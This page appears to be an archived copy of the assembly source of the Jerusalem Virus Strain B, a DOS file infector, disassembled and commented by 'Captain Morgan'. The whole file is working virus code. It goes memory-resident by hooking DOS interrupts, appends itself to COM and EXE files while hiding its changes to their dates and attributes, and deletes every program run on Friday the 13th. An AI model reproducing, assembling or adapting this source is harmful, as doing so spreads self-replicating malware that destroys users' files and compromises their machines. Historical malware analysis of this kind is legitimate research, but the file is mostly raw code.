home *** CD-ROM | disk | FTP | other *** search
- PAGE 59,132
-
- ;*****************************************************************************
- ; Jerusalem Virus - Strain B
- ;
- ; Disassembled and commented by:
- ;
- ; - Captain Morgan -
- ;*****************************************************************************
-
-
- .286c
-
- data_1e equ 2Ch
- data_2e equ 43h
- data_3e equ 45h
- data_4e equ 47h
- data_5e equ 49h
- data_6e equ 51h
- data_7e equ 53h
- data_8e equ 57h
- data_9e equ 5Dh
- data_10e equ 5Fh
- data_11e equ 61h
- data_12e equ 63h
- data_13e equ 65h
- data_14e equ 78h
- data_15e equ 7Ah
- data_16e equ 7Ch
- data_17e equ 7Eh
- data_18e equ 0Ah
- data_19e equ 0Ch
- data_20e equ 0Eh
- data_21e equ 0Fh
- data_22e equ 11h
- data_23e equ 13h
- data_24e equ 15h
- data_25e equ 17h
- data_26e equ 19h
- data_27e equ 1Bh
- data_28e equ 1Dh
- data_29e equ 1Fh
- data_30e equ 29h
- data_31e equ 2Bh
- data_32e equ 2Dh
- data_33e equ 2Fh
- data_34e equ 31h
- data_35e equ 33h
- data_36e equ 4Eh
- data_37e equ 70h
- data_38e equ 72h
- data_39e equ 74h
- data_40e equ 76h
- data_41e equ 7Ah
- data_42e equ 80h
- data_43e equ 82h
- data_44e equ 8Fh
-
- seg_a segment
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- je proc far
-
- start:
- jmp loc_2 ; (0195)
- db 73h, 55h, 4Dh, 73h, 44h, 6Fh
- db 73h, 0, 1, 0EBh, 21h, 0
- db 0, 0, 0ABh, 0Bh, 2Ch, 2
- db 70h, 0, 92h, 0Eh, 29h, 1Ah
- db 0EBh, 4, 59h, 6Fh, 0A8h
- db 7Bh
- db 13 dup (0)
- db 0E8h, 6, 0D7h, 62h, 21h, 80h
- db 0, 0, 0, 80h, 0, 62h
- db 21h, 5Ch, 0, 62h, 21h, 6Ch
- db 0, 62h, 21h, 10h, 7, 60h
- db 5Bh, 0C5h, 0, 60h, 5Bh, 0
- db 0F0h, 6, 0, 4Dh, 5Ah, 30h
- db 0, 53h, 0, 1Fh, 0, 20h
- db 0, 0, 0, 0FFh, 0FFh, 0B2h
- db 9, 10h, 7, 84h, 19h, 0C5h
- db 0, 0B2h, 9, 20h, 0, 0
- db 0, 2Eh, 0Dh, 0Ah, 0, 0
- db 5, 0, 20h, 0, 26h, 12h
- db 46h, 0A3h, 0, 2, 10h, 0
- db 20h, 9Dh, 0, 0, 7Bh, 3Dh
- db 2Eh, 9Bh
- db 'COMMAND.COM'
- db 1, 0, 0, 0, 0, 0
- loc_2:
- cld ; Clear direction
- mov ah,0E0h
- int 21h ; DOS Services ah=function E0h
- cmp ah,0E0h
- jae loc_3 ; Jump if above or =
- cmp ah,3
- jb loc_3 ; Jump if below
- mov ah,0DDh
- mov di,100h
- mov si,710h
- add si,di
- mov cx,cs:[di+11h]
- nop ;*Fixup for MASM (M)
- int 21h ; DOS Services ah=function DDh
- loc_3:
- mov ax,cs
- add ax,10h
- mov ss,ax
- mov sp,700h
- loc_4:
- push ax
- mov ax,0C5h
- push ax
- retf ; Return far
- db 0FCh, 6, 2Eh, 8Ch, 6, 31h
- db 0, 2Eh, 8Ch, 6, 39h, 0
- db 2Eh, 8Ch, 6, 3Dh, 0, 2Eh
- db 8Ch, 6, 41h, 0, 8Ch, 0C0h
- db 5, 10h, 0, 2Eh, 1, 6
- db 49h, 0, 2Eh, 1, 6, 45h
- db 0, 0B4h, 0E0h, 0CDh, 21h, 80h
- db 0FCh, 0E0h, 73h, 13h, 80h, 0FCh
- db 3, 7, 2Eh, 8Eh, 16h, 45h
- db 0, 2Eh, 8Bh, 26h, 43h, 0
- db 2Eh, 0FFh, 2Eh, 47h, 0, 33h
- db 0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
- db 3, 2Eh, 0A3h, 4Bh, 0, 26h
- db 0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
- db 0
- db 26h
-
- je endp
-
- ;██████████████████████████████████████████████████████████████████████████
- ;
- ; External Entry Point
- ;
- ;██████████████████████████████████████████████████████████████████████████
-
- int_24h_entry proc far
- mov word ptr ds:[3FCh],0A5F3h
- mov byte ptr es:data_47,0CBh
- pop ax
- add ax,10h
- mov es,ax
- push cs
- pop ds
- mov cx,710h
- shr cx,1 ; Shift w/zeros fill
- xor si,si ; Zero register
- mov di,si
- push es
- mov ax,142h
- push ax
- ;* jmp far ptr loc_1 ;*(0000:03FC)
- db 0EAh, 0FCh, 3, 0, 0
- db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
- db 7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
- db 0A1h, 4Bh, 0, 0A3h, 0FCh, 3
- db 2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
- db 3
- int_24h_entry endp
-
-
- ;██████████████████████████████████████████████████████████████████████████
- ;
- ; External Entry Point
- ;
- ;██████████████████████████████████████████████████████████████████████████
-
- int_21h_entry proc far
- mov bx,sp
- mov cl,4
- shr bx,cl ; Shift w/zeros fill
- add bx,10h
- mov cs:data_35e,bx
- mov ah,4Ah ; 'J'
- mov es,cs:data_34e
- int 21h ; DOS Services ah=function 4Ah
- ; change mem allocation, bx=siz
- mov ax,3521h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov cs:data_25e,bx
- mov cs:data_26e,es
- push cs
- pop ds
- mov dx,25Bh
- mov ax,2521h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- mov es,ds:data_34e
- mov es,es:data_1e
- xor di,di ; Zero register
- mov cx,7FFFh
- xor al,al ; Zero register
-
- locloop_5:
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- cmp es:[di],al
- loopnz locloop_5 ; Loop if zf=0, cx>0
-
- mov dx,di
- add dx,3
- mov ax,4B00h
- push es
- pop ds
- push cs
- pop es
- mov bx,35h
- push ds
- push es
- push ax
- push bx
- push cx
- push dx
- mov ah,2Ah ; '*'
- int 21h ; DOS Services ah=function 2Ah
- ; get date, cx=year, dx=mon/day
- mov byte ptr cs:data_20e,0
- cmp cx,7C3h
- je loc_7 ; Jump if equal
- cmp al,5 ; Check to see if it's Friday
- jne loc_6 ; Jump if not equal
- cmp dl,0Dh ; Check to see if it's the 13th
- jne loc_6 ; Jump if not equal
- inc byte ptr cs:data_20e
- jmp short loc_7 ; (02F7)
- db 90h
- loc_6:
- mov ax,3508h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov cs:data_23e,bx
- mov cs:data_24e,es
- push cs
- pop ds
- mov word ptr ds:data_29e,7E90h
- mov ax,2508h
- mov dx,21Eh
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- loc_7:
- pop dx
- pop cx
- pop bx
- pop ax
- pop es
- pop ds
- pushf ; Push flags
- call dword ptr cs:data_25e
- push ds
- pop es
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- mov ah,4Dh ; 'M'
- int 21h ; DOS Services ah=function 4Dh
- ; get return code info in ax
- mov ah,31h ; '1'
- mov dx,600h
- mov cl,4
- shr dx,cl ; Shift w/zeros fill
- add dx,10h
- int 21h ; DOS Services ah=function 31h
- ; terminate & stay resident
- db 32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
- db 1Fh, 0, 2, 75h, 17h, 50h
- db 53h, 51h, 52h, 55h, 0B8h, 2
- db 6, 0B7h, 87h, 0B9h, 5, 5
- db 0BAh, 10h, 10h, 0CDh, 10h, 5Dh
- db 5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
- db 0Eh, 1Fh, 0, 75h, 12h, 2Eh
- db 0C7h, 6, 1Fh, 0, 1, 0
- db 50h, 51h, 56h, 0B9h, 1, 40h
- db 0F3h, 0ACh
- db 5Eh, 59h, 58h
- loc_8:
- jmp dword ptr cs:data_23e
- db 9Ch, 80h, 0FCh, 0E0h, 75h, 5
- db 0B8h, 0, 3, 9Dh, 0CFh, 80h
- db 0FCh, 0DDh, 74h, 13h, 80h, 0FCh
- db 0DEh, 74h, 28h, 3Dh, 0, 4Bh
- db 75h, 3, 0E9h, 0B4h, 0
- loc_9:
- popf ; Pop flags
- jmp dword ptr cs:data_25e
- loc_10:
- pop ax
- pop ax
- mov ax,100h
- mov cs:data_18e,ax
- pop ax
- mov cs:data_19e,ax
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- popf ; Pop flags
- mov ax,cs:data_21e
- jmp dword ptr cs:data_18e
- loc_11:
- add sp,6
- popf ; Pop flags
- mov ax,cs
- mov ss,ax
- mov sp,710h
- push es
- push es
- xor di,di ; Zero register
- push cs
- pop es
- mov cx,10h
- mov si,bx
- mov di,21h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov ax,ds
- mov es,ax
- mul word ptr cs:data_41e ; ax = data * ax
- add ax,cs:data_31e
- adc dx,0
- div word ptr cs:data_41e ; ax,dxrem=dx:ax/data
- mov ds,ax
- mov si,dx
- mov di,dx
- mov bp,es
- mov bx,cs:data_33e
- or bx,bx ; Zero ?
- jz loc_13 ; Jump if zero
- loc_12:
- mov cx,8000h
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- add ax,1000h
- add bp,1000h
- mov ds,ax
- mov es,bp
- dec bx
- jnz loc_12 ; Jump if not zero
- loc_13:
- mov cx,cs:data_32e
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- pop ax
- push ax
- add ax,10h
- add cs:data_30e,ax
- data_47 db 2Eh
- db 1, 6, 25h, 0, 2Eh, 0A1h
- db 21h, 0, 1Fh, 7, 2Eh, 8Eh
- db 16h, 29h, 0, 2Eh, 8Bh, 26h
- db 27h, 0, 2Eh, 0FFh, 2Eh, 23h
- db 0
- loc_14:
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- mov ah,41h ; 'A'
- int 21h ; DOS Services ah=function 41h
- ; delete file, name @ ds:dx
- mov ax,4B00h
- popf ; Pop flags
- jmp dword ptr cs:data_25e
- loc_15:
- cmp byte ptr cs:data_20e,1
- je loc_14 ; Jump if equal
- mov word ptr cs:data_37e,0FFFFh
- mov word ptr cs:data_44e,0
- mov cs:data_42e,dx
- mov cs:data_43e,ds
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- cld ; Clear direction
- mov di,dx
- xor dl,dl ; Zero register
- cmp byte ptr [di+1],3Ah ; ':'
- jne loc_16 ; Jump if not equal
- mov dl,[di]
- and dl,1Fh
- loc_16:
- mov ah,36h ; '6'
- int 21h ; DOS Services ah=function 36h
- ; get free space, drive dl,1=a:
- cmp ax,0FFFFh
- jne loc_18 ; Jump if not equal
- loc_17:
- jmp loc_44 ; (06E7)
- loc_18:
- mul bx ; dx:ax = reg * ax
- mul cx ; dx:ax = reg * ax
- or dx,dx ; Zero ?
- jnz loc_19 ; Jump if not zero
- cmp ax,710h
- jb loc_17 ; Jump if below
- loc_19:
- mov dx,cs:data_42e
- push ds
- pop es
- xor al,al ; Zero register
- mov cx,41h
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov si,cs:data_42e
- loc_20:
- mov al,[si]
- or al,al ; Zero ?
- jz loc_22 ; Jump if zero
- cmp al,61h ; 'a'
- jb loc_21 ; Jump if below
- cmp al,7Ah ; 'z'
- ja loc_21 ; Jump if above
- sub byte ptr [si],20h ; ' '
- loc_21:
- inc si
- jmp short loc_20 ; (0490)
- loc_22:
- mov cx,0Bh
- sub si,cx
- mov di,84h
- push cs
- pop es
- mov cx,0Bh
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jnz loc_23 ; Jump if not zero
- jmp loc_44 ; (06E7)
- loc_23:
- mov ax,4300h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- jc loc_24 ; Jump if carry Set
- mov cs:data_38e,cx
- loc_24:
- jc loc_26 ; Jump if carry Set
- xor al,al ; Zero register
- mov cs:data_36e,al
- push ds
- pop es
- mov di,dx
- mov cx,41h
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- cmp byte ptr [di-2],4Dh ; 'M'
- je loc_25 ; Jump if equal
- cmp byte ptr [di-2],6Dh ; 'm'
- je loc_25 ; Jump if equal
- inc byte ptr cs:data_36e
- loc_25:
- mov ax,3D00h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- loc_26:
- jc loc_28 ; Jump if carry Set
- mov cs:data_37e,ax
- mov bx,ax
- mov ax,4202h
- mov cx,0FFFFh
- mov dx,0FFFBh
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- jc loc_26 ; Jump if carry Set
- add ax,5
- mov cs:data_22e,ax
- mov cx,5
- mov dx,6Bh
- mov ax,cs
- mov ds,ax
- mov es,ax
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- mov di,dx
- mov si,5
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jnz loc_27 ; Jump if not zero
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jmp loc_44 ; (06E7)
- loc_27:
- mov ax,3524h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_27e,bx
- mov ds:data_28e,es
- mov dx,21Bh
- mov ax,2524h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- lds dx,dword ptr ds:data_42e ; Load 32 bit ptr
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- loc_28:
- jc loc_29 ; Jump if carry Set
- mov bx,cs:data_37e
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- mov word ptr cs:data_37e,0FFFFh
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- jc loc_29 ; Jump if carry Set
- mov cs:data_37e,ax
- mov ax,cs
- mov ds,ax
- mov es,ax
- mov bx,ds:data_37e
- mov ax,5700h
- int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- mov ds:data_39e,dx
- mov ds:data_40e,cx
- mov ax,4200h
- xor cx,cx ; Zero register
- mov dx,cx
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- loc_29:
- jc loc_32 ; Jump if carry Set
- cmp byte ptr ds:data_36e,0
- je loc_30 ; Jump if equal
- jmp short loc_34 ; (05E6)
- db 90h
- loc_30:
- mov bx,1000h
- mov ah,48h ; 'H'
- int 21h ; DOS Services ah=function 48h
- ; allocate memory, bx=bytes/16
- jnc loc_31 ; Jump if carry=0
- mov ah,3Eh ; '>'
- mov bx,ds:data_37e
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jmp loc_44 ; (06E7)
- loc_31:
- inc word ptr ds:data_44e
- mov es,ax
- xor si,si ; Zero register
- mov di,si
- mov cx,710h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov dx,di
- mov cx,ds:data_22e
- mov bx,ds:data_37e
- push es
- pop ds
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- loc_32:
- jc loc_33 ; Jump if carry Set
- add di,cx
- xor cx,cx ; Zero register
- mov dx,cx
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- mov si,5
- mov cx,5
- rep movs byte ptr es:[di],cs:[si] ; Rep when cx >0 Mov [si] to es:[di]
- mov cx,di
- xor dx,dx ; Zero register
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- loc_33:
- jc loc_35 ; Jump if carry Set
- jmp loc_42 ; (06A2)
- loc_34:
- mov cx,1Ch
- mov dx,4Fh
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- loc_35:
- jc loc_37 ; Jump if carry Set
- mov word ptr ds:data_11e,1984h
- mov ax,ds:data_9e
- mov ds:data_3e,ax
- mov ax,ds:data_10e
- mov ds:data_2e,ax
- mov ax,ds:data_12e
- mov ds:data_4e,ax
- mov ax,ds:data_13e
- mov ds:data_5e,ax
- mov ax,ds:data_7e
- cmp word ptr ds:data_6e,0
- je loc_36 ; Jump if equal
- dec ax
- loc_36:
- mul word ptr ds:data_14e ; ax = data * ax
- add ax,ds:data_6e
- adc dx,0
- add ax,0Fh
- adc dx,0
- and ax,0FFF0h
- mov ds:data_16e,ax
- mov ds:data_17e,dx
- add ax,710h
- adc dx,0
- loc_37:
- jc loc_39 ; Jump if carry Set
- div word ptr ds:data_14e ; ax,dxrem=dx:ax/data
- or dx,dx ; Zero ?
- jz loc_38 ; Jump if zero
- inc ax
- loc_38:
- mov ds:data_7e,ax
- mov ds:data_6e,dx
- mov ax,ds:data_16e
- mov dx,ds:data_17e
- div word ptr ds:data_15e ; ax,dxrem=dx:ax/data
- sub ax,ds:data_8e
- mov ds:data_13e,ax
- mov word ptr ds:data_12e,0C5h
- mov ds:data_9e,ax
- mov word ptr ds:data_10e,710h
- xor cx,cx ; Zero register
- mov dx,cx
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- loc_39:
- jc loc_40 ; Jump if carry Set
- mov cx,1Ch
- mov dx,4Fh
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- loc_40:
- jc loc_41 ; Jump if carry Set
- cmp ax,cx
- jne loc_42 ; Jump if not equal
- mov dx,ds:data_16e
- mov cx,ds:data_17e
- mov ax,4200h
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- loc_41:
- jc loc_42 ; Jump if carry Set
- xor dx,dx ; Zero register
- mov cx,710h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- loc_42:
- cmp word ptr cs:data_44e,0
- je loc_43 ; Jump if equal
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- loc_43:
- cmp word ptr cs:data_37e,0FFFFh
- je loc_44 ; Jump if equal
- mov bx,cs:data_37e
- mov dx,cs:data_39e
- mov cx,cs:data_40e
- mov ax,5701h
- int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- lds dx,dword ptr cs:data_42e ; Load 32 bit ptr
- mov cx,cs:data_38e
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- lds dx,dword ptr cs:data_27e ; Load 32 bit ptr
- mov ax,2524h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- loc_44:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf ; Pop flags
- jmp dword ptr cs:data_25e
- db 11 dup (0)
- db 4Dh, 63h, 21h, 4
- db 13 dup (0)
- db 5Bh, 0, 0, 0, 2Bh, 0
- db 0FFh
- db 17 dup (0FFh)
- db 'E:\SV\EXECDOS.BAT'
- db 0
- db 'EXECDOS', 0Dh
- db 0, 7Dh, 0, 0, 80h, 0
- db 53h, 0Eh, 5Ch, 0, 53h, 0Eh
- db 6Ch, 4Dh, 63h, 21h, 0, 10h
- db 'EC=F:\DOS\C'
- db 0E9h, 92h, 0, 73h, 55h, 4Dh
- db 73h, 44h, 6Fh, 73h, 0, 1
- db 0B8h, 22h, 0, 0, 0, 1Ah
- db 3, 2Ch, 2, 70h, 0
- loc_45:
- xchg ax,dx
- push cs
- sub [bp+si],bx
- ;* jmp short loc_46 ;*(0781)
- db 0EBh, 4
- db 63h, 21h, 0D0h, 59h
- int_21h_entry endp
-
-
- seg_a ends
-
-
-
- end start
-
-